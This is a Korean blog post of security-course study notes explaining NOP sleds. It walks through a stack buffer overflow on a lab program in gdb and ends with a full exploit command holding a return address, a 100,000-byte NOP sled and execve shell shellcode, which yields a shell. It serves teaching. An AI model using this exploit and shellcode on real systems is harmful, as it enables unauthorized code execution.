시스템 해킹/dream hack

[dream hack] NOP Sled

ruming 2021. 2. 18. 09:11

Linux Exploitation & Mitigation Part 1 

3. NOP Sled

NOP = "No OPeration"

xchg eax, eax와 같이 프로그램의 실행에 영향을 주지 않는 명령어이다. 프로그램이 실행 중에 NOP 명령어를 만나면 다음 명령어로 넘어가는 것 같은 효과를 준다. 주로 명령어의 주소 alignment를 맞출 때 사용된다.

 

x86 아키텍처의 NOP 명령어 바이트 코드

0x90

 

NOP Sled, 혹은 NOP Slide는 주로 셸코드의 셸코드의 주소를 정확히 알아내기 힘들 경우 큰 메모리를 확보해 셸코드의 주소의 오차 범위를 크게 만들 때 사용한다. 익스플로잇 확률을 올리는 데 큰 도우밍 된다.

더보기

0x100 주소에 셸코드가 저장되어 있다고 가정해보자. NOP Sled가 없다면 정확히 0x100 주소로 실행 흐름을 바꿔야 셸코드가 실행된다. 하지만 셸코드 앞에 0x10000바이트의 NOP Sled를 붙인다면 0x100 ~ 0x10100주소 중 임의의 주소로 실행 흐름을 바꾸기만 하면 된다. NOP Sled의 어딘가의 주소를 알아내 달라진 환경에서 해당 주소로 실행 흐름을 바꾸는 경우 평균적으로 0x10000/2만큼의 주소 오차가 허용된다.

 

Exploitation Using NOP Sled

NOP Sled를 이용해 새로운 공격 코드를 만들어보자. 10000바이트의 NOP Sled가 포함된 셸코드를 example1의 argv[1]에 넣은 후 gdb를 이용해 NOP Sled의 중간 지점의 주소를 찾는다.

$ gdb -q ./example1
Reading symbols from ./example1...(no debugging symbols found)...done.
(gdb) disas vuln
Dump of assembler code for function vuln:
   0x0804843b <+0>:	push   ebp
   0x0804843c <+1>:	mov    ebp,esp
   0x0804843e <+3>:	sub    esp,0x20
   0x08048441 <+6>:	mov    ecx,0x0
   0x08048446 <+11>:	mov    eax,0x20
   0x0804844b <+16>:	and    eax,0xfffffffc
   0x0804844e <+19>:	mov    edx,eax
   0x08048450 <+21>:	mov    eax,0x0
   0x08048455 <+26>:	mov    DWORD PTR [ebp+eax*1-0x20],ecx
   0x08048459 <+30>:	add    eax,0x4
   0x0804845c <+33>:	cmp    eax,edx
   0x0804845e <+35>:	jb     0x8048455 <vuln+26>
   0x08048460 <+37>:	push   DWORD PTR [ebp+0x8]
   0x08048463 <+40>:	lea    eax,[ebp-0x20]
   0x08048466 <+43>:	push   eax
   0x08048467 <+44>:	call   0x8048300 <strcpy@plt>
   0x0804846c <+49>:	add    esp,0x8
   0x0804846f <+52>:	mov    eax,0x0
   0x08048474 <+57>:	leave  
   0x08048475 <+58>:	ret    
End of assembler dump.
(gdb) b *0x08048467
Breakpoint 1 at 0x8048467
(gdb) r python -c 'print "A"*36+"RETN"+"\x90"*100000+"SHELLCODE"'
Starting program: ~/example1 python -c 'print "A"*36+"RETN"+"\x90"*100000+"SHELLCODE"'
Breakpoint 1, 0x08048467 in vuln ()
(gdb) x/2wx $esp
0xfffe4e54:	0xfffe4e5c	0xfffe50a9
(gdb) x/40wx 0xfffe50a9
0xfffe50a9:	0x41414141	0x41414141	0x41414141	0x41414141
0xfffe50b9:	0x41414141	0x41414141	0x41414141	0x41414141
0xfffe50c9:	0x41414141	0x4e544552	0x90909090	0x90909090
0xfffe50d9:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffe50e9:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffe50f9:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffe5109:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffe5119:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffe5129:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffe5139:	0x90909090	0x90909090	0x90909090	0x90909090
(gdb) 

vuln함수에서 strcpy함수를 호출하는 시점에 브레이크포인트를 설정해 복사버퍼인 argv[1]의 주소인 0xfffe50a9를 알아냈다. 다음으로 NOP Sled 중간 지점의 주소 argv1 + 50000을 계산해보자.

(gdb) p/x 0xfffe50a9 + 50000
$3 = 0xffff13f9
(gdb) 

NOP Sled 중간 지점 주소는 0xffff13f9이다. 이 주소를 이용한 새로운 공격코드는 아래와 같다.

"A" * 36 + 0xffff13f9 + "\x90" * 100000 + shellcode

익스플로잇 시도

$ ./example1 python -c 'print "A"*36 + "\xf9\x13\xff\xff" + "\x90"*100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"'
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)
$ 

셸 실행 (성공)